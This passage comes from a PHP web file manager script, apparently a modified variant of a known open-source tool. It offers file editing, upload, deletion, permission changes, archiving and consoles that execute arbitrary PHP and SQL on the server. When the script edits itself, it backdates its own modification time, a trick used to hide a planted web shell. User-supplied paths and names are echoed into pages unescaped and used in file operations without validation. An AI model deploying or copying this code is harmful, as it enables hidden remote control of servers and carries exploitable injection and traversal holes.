<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth_mydevice['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>

<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>

</form>

</table>';

echo fm_tpl_form('php'),fm_tpl_form('sql');

} elseif (isset($proxy_form)) {

	die($proxy_form);

} elseif (isset($res_lng)) {	

?>
<table class="whole">

<tr>

                        <th><?=__('File manager').' - '.$path?></th>

</tr>

<tr>

                        <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php

	if($res_lng=='sql') echo ' - Database: '.$fmo_config['sql_db'].'</h2></td><td>'.fm_run_input('php');

	else echo '</h2></td><td>'.fm_run_input('sql');

	?></td></tr></table></td>

</tr>

<tr>

                        <td class="row1">

		        <a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>

		        <form action="" method="POST" name="console">

		        <textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>

		        <input type="reset" value="<?=__('Reset')?>">

		        <input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">

<?php
$str_tmpl = $res_lng.'_templates';

$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';

if (!empty($tmpl)){

	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';

	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";

	$select .= '<option value="-1">' . __('Select') . "</option>\n";

	foreach ($tmpl as $key=>$value){

		        $select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";

	}

	$select .= "</select>\n";

	echo $select;

}

?>
		        </form>

	</td>

</tr>

</table>

<?php
	if (!empty($res)) {

		        $fun='fm_'.$res_lng;

		        echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';

	}

} elseif (!empty($_REQUEST['edit'])){

	if(!empty($_REQUEST['save'])) {

		        $fn = $path . $_REQUEST['edit'];

		        $filemtime = filemtime($fn);

	                        if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_now .= __('File updated');

		        else $msg_now .= __('Error occurred');

		        if ($_GET['edit']==basename(__FILE__)) {

                                 touch(__FILE__,1415116371);

		        } else {

                                 if (!empty($fmo_config['restore_time'])) touch($fn,$filemtime);

		        }

	}

                        $oldcontent = @file_get_contents($path . $_REQUEST['edit']);

                        $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;

                        $backlink = $url_inc . '&path=' . $path;

?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">

<tr>

                        <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>

</tr>

<tr>

                        <td class="row1">

                                                <?=$msg_now?>

	</td>

</tr>

<tr>

                        <td class="row1">

                                                <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>

	</td>

</tr>

<tr>

                        <td class="row1" align="center">

                                                <form name="form1" method="post" action="<?=$editlink?>">

                                                                        <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>

                                                                        <input type="submit" name="save" value="<?=__('Submit')?>">

                                                                        <input type="submit" name="cancel" value="<?=__('Cancel')?>">

                                                </form>

                        </td>

</tr>

</table>

<?php
echo $auth_mydevice['script'];

} elseif(!empty($_REQUEST['rights'])){

	if(!empty($_REQUEST['save'])) {

	                        if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))

		        $msg_now .= (__('File updated')); 

		        else $msg_now .= (__('Error occurred'));

	}

	clearstatcache();

                        $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);

                        $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;

                        $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">

<tr>

                        <th><?=__('File manager').' - '.$path?></th>

</tr>

<tr>

                        <td class="row1">

                                                <?=$msg_now?>

	</td>

</tr>

<tr>

                        <td class="row1">

                                                <a href="<?=$backlink?>"><?=__('Back')?></a>

	</td>

</tr>

<tr>

                        <td class="row1" align="center">

                                                <form name="form1" method="post" action="<?=$link?>">

                                                   <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">

                                                <?php if (is_dir($path.$_REQUEST['rights'])) { ?>

                                                                        <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>

                                                <?php } ?>

                                                                        <input type="submit" name="save" value="<?=__('Submit')?>">

                                                </form>

                        </td>

</tr>

</table>

<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {

	if(!empty($_REQUEST['save'])) {

	                        rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);

		        $msg_now .= (__('File updated'));

		        $_REQUEST['rename'] = $_REQUEST['newname'];

	}

	clearstatcache();

                        $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;

                        $backlink = $url_inc . '&path=' . $path;


?>
<table class="whole">

<tr>

                        <th><?=__('File manager').' - '.$path?></th>

</tr>

<tr>

                        <td class="row1">

                                                <?=$msg_now?>

	</td>

</tr>

<tr>

                        <td class="row1">

                                                <a href="<?=$backlink?>"><?=__('Back')?></a>

	</td>

</tr>

<tr>

                        <td class="row1" align="center">

                                                <form name="form1" method="post" action="<?=$link?>">

                                                                        <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>

                                                                        <input type="submit" name="save" value="<?=__('Submit')?>">

                                                </form>

                        </td>

</tr>

</table>

<?php
} else {

//Let's rock!

                        $msg_now = '';

                        if(!empty($_FILES['upload'])&&!empty($fmo_config['upload_file'])) {

                                                if(!empty($_FILES['upload']['name'])){

                                                                        $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

                                                                        if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){

                                                                                                $msg_now .= __('Error occurred');

                                                                        } else {

                                 	$msg_now .= __('Files uploaded').': '.$_FILES['upload']['name'];

                                 }

                                                }

                        } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {

                                                if(!fm_del_files(($path . $_REQUEST['delete']), true)) {

                                                                        $msg_now .= __('Error occurred');

                                                } else {

                                 $msg_now .= __('Deleted').' '.$_REQUEST['delete'];

		        }

	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fmo_config['make_directory'])) {

                                                if(!@mkdir($path . $_REQUEST['dirname'],0777)) {

                                                                        $msg_now .= __('Error occurred');

                                                } else {

                                 $msg_now .= __('Created').' '.$_REQUEST['dirname'];

		        }

                        } elseif(!empty($_POST['search_recursive'])) {

		        ini_set('max_execution_time', '0');

		        $search_data =  find_text_in_files($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		        if(!empty($search_data)) {

                                 $msg_now .= __('Found in files').' ('.count($search_data).'):<br>';

                                 foreach ($search_data as $filename) {

                                 	$msg_now .= '<a href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

                                 }

		        } else {

                                 $msg_now .= __('Nothing founded');

		        }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fmo_config['new_file'])) {

                                                if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

                                                                        $msg_now .= __('Error occurred');

                                                } else {

                                 fclose($fp);

                                 $msg_now .= __('Created').' '.$_REQUEST['filename'];

		        }

                        } elseif (isset($_GET['zip'])) {

		        $source = base64_decode($_GET['zip']);

		        $destination = basename($source).'.zip';

		        set_time_limit(0);

		        $phar = new PharData($destination);

		        $phar->buildFromDirectory($source);

		        if (is_file($destination))

		        $msg_now .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		        '.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		        .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		        else $msg_now .= __('Error occurred').': '.__('no files');

	} elseif (isset($_GET['gz'])) {

		        $source = base64_decode($_GET['gz']);

		        $archive = $source.'.tar';

		        $destination = basename($source).'.tar';

		        if (is_file($archive)) unlink($archive);

		        if (is_file($archive.'.gz')) unlink($archive.'.gz');

		        clearstatcache();

		        set_time_limit(0);

		        //die();

		        $phar = new PharData($destination);

		        $phar->buildFromDirectory($source);

		        $phar->compress(Phar::GZ,'.tar.gz');

		        unset($phar);

		        if (is_file($archive)) {

                                 if (is_file($archive.'.gz')) {

                                 	unlink($archive); 

                                 	$destination .= '.gz';

                                 }


                                 $msg_now .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

                                 '.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)

                                 .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		        } else $msg_now .= __('Error occurred').': '.__('no files');

	} elseif (isset($_GET['decompress'])) {

		        // $source = base64_decode($_GET['decompress']);

		        // $destination = basename($source);

		        // $ext = end(explode(".", $destination));

		        // if ($ext=='zip' OR $ext=='gz') {

                                 // $phar = new PharData($source);

                                 // $phar->decompress();

                                 // $base_file = str_replace('.'.$ext,'',$destination);

                                 // $ext = end(explode(".", $base_file));

                                 // if ($ext=='tar'){

                                 	// $phar = new PharData($base_file);

                                 	// $phar->extractTo(dir($source));

                                 // }

		        // } 

		        // $msg_now .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		        $source = base64_decode($_GET['gzfile']);

		        $archive = $source.'.tar';

		        $destination = basename($source).'.tar';

		        if (is_file($archive)) unlink($archive);

		        if (is_file($archive.'.gz')) unlink($archive.'.gz');

		        set_time_limit(0);

		        //echo $destination;

		        $ext_arr = explode('.',basename($source));

		        if (isset($ext_arr[1])) {

                                 unset($ext_arr[0]);

                                 $ext=implode('.',$ext_arr);

		        } 

		        $phar = new PharData($destination);

		        $phar->addFile($source);

		        $phar->compress(Phar::GZ,$ext.'.tar.gz');

		        unset($phar);

		        if (is_file($archive)) {

                                 if (is_file($archive.'.gz')) {

                                 	unlink($archive); 

                                 	$destination .= '.gz';

                                 }

                                 $msg_now .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

                                 '.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)

                                 .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		        } else $msg_now .= __('Error occurred').': '.__('no files');

	}

?>
<table class="whole" id="header_table" >

<tr>

                        <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>

</tr>

          <?php if(!empty($msg_now)){ ?>
<tr>

	<td colspan="2" class="row2"><?=$msg_now?></td>

</tr>

<?php } ?>
<tr>

                        <td class="row2">

		        <table>

                                 <tr>

                                 <td>

                                 	<?=fm_home()?>

                                 </td>

                                 <td>

                                 <?php if(!empty($fmo_config['make_directory'])) { ?>

                                 	<form method="post" action="<?=$url_inc?>">

                                 	<input type="hidden" name="path" value="<?=$path?>" />

                                 	<input type="text" name="dirname" size="15">

                                 	<input type="submit" name="mkdir" value="<?=__('Make directory')?>">

                                 	</form>

                                 <?php } ?>

                                 </td>

                                 <td>

                                 <?php if(!empty($fmo_config['new_file'])) { ?>

                                 	<form method="post" action="<?=$url_inc?>">

                                 	<input type="hidden" name="path"                         value="<?=$path?>" />

                                 	<input type="text"   name="filename" size="15">

                                 	<input type="submit" name="mkfile"   value="<?=__('New file')?>">

                                 	</form>

                                 <?php } ?>

                                 </td>

                                 <td>

                                 	<form  method="post" action="<?=$url_inc?>" style="display:inline">

                                 	<input type="hidden" name="path" value="<?=$path?>" />

                                 	<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">

                                 	<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">

                                 	<input type="submit" name="search" value="<?=__('Search')?>">

                                 	</form>

                                 </td>

                                 <td>

                                 <?=fm_run_input('php')?>

                                 </td>

                                 <td>

                                 <?=fm_run_input('sql')?>

                                 </td>

                                 </tr>

		        </table>

                        </td>

                        <td class="row3">

		        <table>

		        <tr>

		        <td>

		        <?php if (!empty($fmo_config['upload_file'])) { ?>

                                 <form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">

                                 <input type="hidden" name="path" value="<?=$path?>" />

                                 <input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

                                 <input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />

                                 <input type="submit" name="test" value="<?=__('Upload')?>" />

                                 </form>

		        <?php } ?>

		        </td>

		        <td>

		        <?php if ($auth_mydevice['authorize']) { ?>

                                 <form action="" method="post">&nbsp;&nbsp;&nbsp;

                                 <input name="quit" type="hidden" value="1">

                                 <?=__('Hello')?>, <?=$auth_mydevice['login']?>

                                 <input type="submit" value="<?=__('Quit')?>">

                                 </form>

		        <?php } ?>

		        </td>

		        <td>

		        <?=fm_lang_form($language_benros)?>

		        </td>

		        <tr>

		        </table>

                        </td>

</tr>

</table>

<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">

<thead>

<tr> 

                        <th style="white-space:nowrap"> <?=__('Filename')?> </th>

                        <th style="white-space:nowrap"> <?=__('Size')?> </th>

                        <th style="white-space:nowrap"> <?=__('Date')?> </th>

                        <th style="white-space:nowrap"> <?=__('Rights')?> </th>

                        <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>

</tr>

</thead>

<tbody>

<?php
$elements = fm_scan_dir($path, '', 'all', true);

$dirs = array();

$file_entries = array();

foreach ($elements as $file){

                        if(@is_dir($path . $file)){

                                                $dirs[] = $file;

                        } else {

                                                $file_entries[] = $file;

                        }

}

natsort($dirs); natsort($file_entries);

$elements = array_merge($dirs, $file_entries);


foreach ($elements as $file){

                        $filename = $path . $file;

                        $filedata = @stat($filename);

                        if(@is_dir($filename)){

		        $filedata[7] = '';

		        if (!empty($fmo_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);

                                                $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';

                                                $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);

		        $arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);

                                                $style = 'row2';

		         if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';

                        } else {

		        $link = 

                                 $fmo_config['show_img']&&@getimagesize($filename) 

                                 ? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''

                                 . fm_img_link($filename)

                                 .'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'

                                 : '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';

		        $e_arr = explode(".", $file);

		        $ext = end($e_arr);

                                                $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);

		        $arlink = in_array($ext,array('zip','gz','tar')) 

		        ? ''

		        : ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));

                                                $style = 'row1';

		        $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';

                        }

                        $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';

                        $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';

                        $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';

?>
<tr class="<?=$style?>"> 

                        <td><?=$link?></td>

                        <td><?=$filedata[7]?></td>

                        <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>

                        <td><?=$rightstext?></td>

                        <td><?=$deletelink?></td>

                        <td><?=$renamelink?></td>

                        <td><?=$loadlink?></td>

                        <td><?=$arlink?></td>

</tr>

<?php
                        }

}

?>
</tbody>

</table>

<div class="row3"><?php

	$mtime = explode(' ', microtime()); 

	$totaltime = $mtime[0] + $mtime[1] - $startororimy; 

	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';

	if (!empty($fmo_config['show_php_ver'])) echo ' | PHP '.phpversion();

	if (!empty($fmo_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();

	if (!empty($fmo_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);

	if (!empty($fmo_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';

	if (!empty($fmo_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';

	if (!empty($fmo_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';

	if (!empty($fmo_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';

	?>

</div>

<script type="text/javascript">

function download_xls(filename, text) {

	var element = document.createElement('a');

	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);

	element.setAttribute('download', filename);

	element.style.display = 'none';

	document.body.appendChild(element);

	element.click();

	document.body.removeChild(element);

}


function base64_encode(m) {

	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {

		        c = m.charCodeAt(l);

		        if (128 > c) d = 1;

		        else

                                 for (d = 2; c >= 2 << 5 * d;) ++d;

		        for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])

	}

	b && (g += k[f << 6 - b]);

	return g

}



var tableToExcelData = (function() {

                        var uri = 'data:application/vnd.ms-excel;base64,',

                        template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',

                        format = function(s, c) {

                                                                        return s.replace(/{(\w+)}/g, function(m, p) {

                                                                                                return c[p];

                                                                        })

                                                }

                        return function(table, name) {

                                                if (!table.nodeType) table = document.getElementById(table)

                                                var ctx = {

                                                                        worksheet: name || 'Worksheet',

                                                                        table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")

                                                }

		        t = new Date();

		        filename = 'fm_' + t.toISOString() + '.xls'

		        download_xls(filename, base64_encode(format(template, ctx)))

                        }

})();


var table2Excel = function () {


                        var ua = window.navigator.userAgent;

                        var msie = ua.indexOf("MSIE ");


	this.CreateExcelSheet = 

		        function(el, name){

                                 if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer


                                 	var x = document.getElementById(el).rows;


                                 	var xls = new ActiveXObject("Excel.Application");


                                 	xls.visible = true;

                                 	xls.Workbooks.Add

                                 	for (i = 0; i < x.length; i++) {

                                 		        var y = x[i].cells;


                                 		        for (j = 0; j < y.length; j++) {

                                                                  xls.Cells(i + 1, j + 1).Value = y[j].innerText;

                                 		        }

                                 	}

                                 	xls.Visible = true;

                                 	xls.UserControl = true;

                                 	return xls;

                                 } else {

                                 	tableToExcelData(el, name);

                                 }

		        }

}

</script>

</body>

</html>


<?php
//Ported from ReloadCMS project http://reloadcms.com

class archiveTar {

	var $compressed_file_archive = '';

	var $temp_file_handler = 0;

	var $file_position_pointer = 0;

	var $gzip_compression_status = true;

	var $list_of_errors = array();

	var $file_entries = array();

	
	function __construct(){

		        if (!isset($this->errors)) $this->errors = array();

	}

	
	function buildCompressedArchive($file_list){

		        $result = false;

		        if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;

		        else $newArchive = true;

		        if ($newArchive){

                                 if (!$this->initializeWriteOperation()) return false;

		        } else {

                                 if (filesize($this->archive_name) == 0)	return $this->initializeWriteOperation();

                                 if ($this->isGzipped) {

                                 	$this->finalizeTempFileHandler();

                                 	if (!rename($this->archive_name, $this->archive_name.'.tmp')){

                                 		        $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';

                                 		        return false;

                                 	}

                                 	$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');

                                 	if (!$tmpArchive){

                                 		        $this->errors[] = $this->archive_name.'.tmp '.__('is not readable');

                                 		        rename($this->archive_name.'.tmp', $this->archive_name);

                                 		        return false;

                                 	}

                                 	if (!$this->initializeWriteOperation()){

                                 		        rename($this->archive_name.'.tmp', $this->archive_name);

                                 		        return false;

                                 	}

                                 	$buffer = gzread($tmpArchive, 512);

                                 	if (!gzeof($tmpArchive)){

                                 		        do {

                                                                  $binaryData = pack('a512', $buffer);

                                                                  $this->writeBlockToData($binaryData);

                                                                  $buffer = gzread($tmpArchive, 512);

                                 		        }

                                 		        while (!gzeof($tmpArchive));

                                 	}

                                 	gzclose($tmpArchive);

                                 	unlink($this->archive_name.'.tmp');

                                 } else {

                                 	$this->tmp_file = fopen($this->archive_name, 'r+b');

                                 	if (!$this->tmp_file)	return false;

                                 }

		        }

		        if (isset($file_list) && is_array($file_list)) {

		        if (count($file_list)>0)

                                 $result = $this->packFilesIntoArchive($file_list);

		        } else $this->errors[] = __('No file').__(' to ').__('Archive');

		        if (($result)&&(is_resource($this->tmp_file))){

                                 $binaryData = pack('a512', '');

                                 $this->writeBlockToData($binaryData);

		        }

		        $this->finalizeTempFileHandler();

		        if ($newArchive && !$result){

		        $this->finalizeTempFileHandler();

		        unlink($this->archive_name);

		        }

		        return $result;

	}


	function unpackCompressedArchive($path){

		        $fileName = $this->archive_name;

		        if (!$this->isGzipped){

                                 if (file_exists($fileName)){

                                 	if ($fp = fopen($fileName, 'rb')){

                                 		        $data = fread($fp, 2);

                                 		        fclose($fp);

                                 		        if ($data == '\37\213'){

                                                                  $this->isGzipped = true;

                                 		        }

                                 	}

                                 }

                                 elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;

		        } 

		        $result = true;

		        if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');

		        else $this->tmp_file = fopen($fileName, 'rb');

		        if (!$this->tmp_file){

                                 $this->errors[] = $fileName.' '.__('is not readable');

                                 return false;

		        }

		        $result = $this->unpackFilesIntoArchive($path);

                                 $this->finalizeTempFileHandler();

		        return $result;

	}


	function displayAllErrors	($message = '') {

		        $Errors = $this->errors;

		        if(count($Errors)>0) {

		        if (!empty($message)) $message = ' ('.$message.')';

                                 $message = __('Error occurred').$message.': <br/>';

                                 foreach ($Errors as $value)

                                 	$message .= $value.'<br/>';

                                 return $message;	

		        } else return '';

		        
	}

	
	function packFilesIntoArchive($file_array){

		        $result = true;

		        if (!$this->tmp_file){

                                 $this->errors[] = __('Invalid file descriptor');

                                 return false;

		        }

		        if (!is_array($file_array) || count($file_array)<=0)

                                                  return true;

		        for ($i = 0; $i<count($file_array); $i++){

                                 $filename = $file_array[$i];

                                 if ($filename == $this->archive_name)

                                 	continue;

                                 if (strlen($filename)<=0)

                                 	continue;

                                 if (!file_exists($filename)){

                                 	$this->errors[] = __('No file').' '.$filename;

                                 	continue;

                                 }

                                 if (!$this->tmp_file){

                                 $this->errors[] = __('Invalid file descriptor');

                                 return false;

                                 }

		        if (strlen($filename)<=0){

                                 $this->errors[] = __('Filename').' '.__('is incorrect');;

                                 return false;

		        }

		        $filename = str_replace('\\', '/', $filename);

		        $keep_filename = $this->createValidFilePath($filename);

		        if (is_file($filename)){

                                 if (($file = fopen($filename, 'rb')) == 0){

                                 	$this->errors[] = __('Mode ').__('is incorrect');

                                 }

                                 	if(($this->file_pos == 0)){

                                 		        if(!$this->writeHeaderToArchive($filename, $keep_filename))

                                                                  return false;

                                 	}

                                 	while (($buffer = fread($file, 512)) != ''){

                                 		        $binaryData = pack('a512', $buffer);

                                 		        $this->writeBlockToData($binaryData);

                                 	}

                                 fclose($file);

		        }	else $this->writeHeaderToArchive($filename, $keep_filename);

                                 if (@is_dir($filename)){

                                 	if (!($handle = opendir($filename))){

                                 		        $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');

                                 		        continue;

                                 	}

                                 	while (false !== ($dir = readdir($handle))){

                                 		        if ($dir!='.' && $dir!='..'){

                                                                  $file_array_tmp = array();

                                                                  if ($filename != '.')

                                                                  	$file_array_tmp[] = $filename.'/'.$dir;

                                                                  else

                                                                  	$file_array_tmp[] = $dir;


                                                                  $result = $this->packFilesIntoArchive($file_array_tmp);

                                 		        }

                                 	}

                                 	unset($file_array_tmp);

                                 	unset($dir);

                                 	unset($handle);

                                 }

		        }

		        return $result;

	}


	function unpackFilesIntoArchive($path){ 

		        $path = str_replace('\\', '/', $path);

		        if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;

		        clearstatcache();

		        while (strlen($binaryData = $this->readBlockFromData()) != 0){

                                 if (!$this->extractHeaderInformation($binaryData, $header)) return false;

                                 if ($header['filename'] == '') continue;

                                 if ($header['typeflag'] == 'L'){                                 //reading long header

                                 	$filename = '';

                                 	$decr = floor($header['size']/512);

                                 	for ($i = 0; $i < $decr; $i++){

                                 		        $content = $this->readBlockFromData();

                                 		        $filename .= $content;

                                 	}

                                 	if (($laspiece = $header['size'] % 512) != 0){

                                 		        $content = $this->readBlockFromData();

                                 		        $filename .= substr($content, 0, $laspiece);

                                 	}

                                 	$binaryData = $this->readBlockFromData();

                                 	if (!$this->extractHeaderInformation($binaryData, $header)) return false;

                                 	else $header['filename'] = $filename;

                                 	return true;

                                 }

                                 if (($path != './') && ($path != '/')){

                                 	while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);

                                 	if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];

                                 	else $header['filename'] = $path.'/'.$header['filename'];

                                 }

                                 
                                 if (file_exists($header['filename'])){

                                 	if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){

                                 		        $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');

                                 		        return false;

                                 	}

                                 	if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){

                                 		        $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');

                                 		        return false;

                                 	}

                                 	if (!is_writeable($header['filename'])){

                                 		        $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');

                                 		        return false;

                                 	}

                                 } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){

                                 	$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];

                                 	return false;

                                 }


                                 if ($header['typeflag'] == '5'){

                                 	if (!file_exists($header['filename']))		        {

                                 		        if (!mkdir($header['filename'], 0777))	{

                                                                  
                                                                  $this->errors[] = __('Cannot create directory').' '.$header['filename'];

